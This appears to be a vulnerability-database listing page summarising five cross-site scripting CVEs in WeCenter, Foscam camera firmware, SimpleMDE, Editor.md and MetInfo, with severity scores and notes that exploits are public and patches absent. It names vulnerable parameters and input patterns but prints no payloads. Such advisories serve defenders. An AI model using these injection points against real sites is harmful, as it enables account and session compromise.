WeCenter 3.2.0 through 3.2.2 has XSS in the views/default/question/index.tpl.html htmlspecialchars_decode function via the /?/publish/ajax/publish_question/ question_content parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Wecenter
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered on Foscam Opticam i5 devices with System Firmware 1.5.2.11 and Application Firmware 2.21.1.128. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS I5 Application Firmware I5 System Firmware +2
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

SimpleMDE 1.11.2 has XSS via an onerror attribute of a crafted IMG element, or via certain input with [ and ( characters, which is mishandled during construction of an A element. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Simplemde
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

pandao Editor.md 1.5.0 has DOM XSS via input starting with a "<<" substring, which is mishandled during construction of an A element. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Editor Md
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

MetInfo 6.1.3 has XSS via the admin/index.php?a=dogetpassword abt_type parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Metinfo
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39320

Related CWEs

MITRE ATT&CK

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